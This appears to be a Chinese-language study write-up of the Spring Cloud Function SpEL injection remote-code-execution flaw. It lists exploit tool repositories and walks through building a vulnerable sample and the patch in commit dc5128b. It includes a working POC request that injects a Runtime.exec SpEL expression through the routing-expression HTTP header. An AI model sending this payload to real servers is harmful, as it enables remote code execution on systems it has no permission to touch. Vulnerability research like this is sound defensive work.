這個漏洞前幾天就爆出來了 但昨天看到spring core漏洞 就想學習一下spring cloud

前言

SpringCloud Function作为SpringCloud家族成员最早在2017年提出,旨在为快速发展的Serverless市场提供一个Spring的接入路径,使用SpringCloud Function进行无服务(我这里直接称为函数式编程)的项目开发可以大大节约成本,同时对于SpringBoot熟悉的人可以迅速上手

影响版本:
3 <= Version <= 3.2.2(commit dc5128b之前)

只有Spring Cloud Function部分版本特定配置的动态路由才会受影响(spring.cloud.function.definition=functionRouter),但SpEL表达式存在charset、replace等多种变形 pen4uin师傅发现访问特定路由(/functionRouter)时,无需特定配置也会触发functionRouter调用

利用工具

  1. https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE
  2. IDEA
  3. JDK15(https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html)
  4. https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE

POC

  1. POST /functionRouter HTTP/1.1
  2. Host: 192.168.8.142:9000
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. Connection: close
  7. spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
  8. Accept-Language: en
  9. Content-Type: application/x-www-form-urlencoded
  10. Content-Length: 4
  11. test

image.png

源码

https://github.com/cckuailong/spring-cloud-function-SpEL-RCE

编译

另外一个

https://github.com/cckuailong/spring-cloud-function-SpEL-RCE

image.png
编译好的java包在 /target 目录下

  1. java -jar function-sample-pojo-3.2.1.RELEASE.jar

image.png

分析

拉取仓库后用IDEA maven进行打包调试即可

由于spring默认端口使用的8080,所以可能会与Burpsuite冲突.可编辑application.properties修改默认端口

image.png

补丁分析

在main分支commit dc5128b中,新增了SimpleEvaluationContext

image.png

由isViaHeader变量作为flag,在解析前判断spring.cloud.function.routing-expression的值是不是取自HTTP头,如果是的话就用SimpleEvaluationContext解析SpEL语句,不是来自外部输入时(比如System.setProperty)才用StandardEvaluationContext解析

image.png

  1. 查看官方提交的commit

image.png

首先我们的得知该漏洞是RoutingFunction功能导致的

  1. 在commit中官方也给出了相应的测试用例

image.png

根据测试用例,可以得知漏洞触发点位于http header中spring.cloud.function.routing-expression字段

提取出测试类后在apply方法下断并跟入,省略一些中间流程,最终可以看到从HTTP头spring.cloud.function.routing-expression中取出SpEL表达式并由StandardEvaluationContext解析

image.png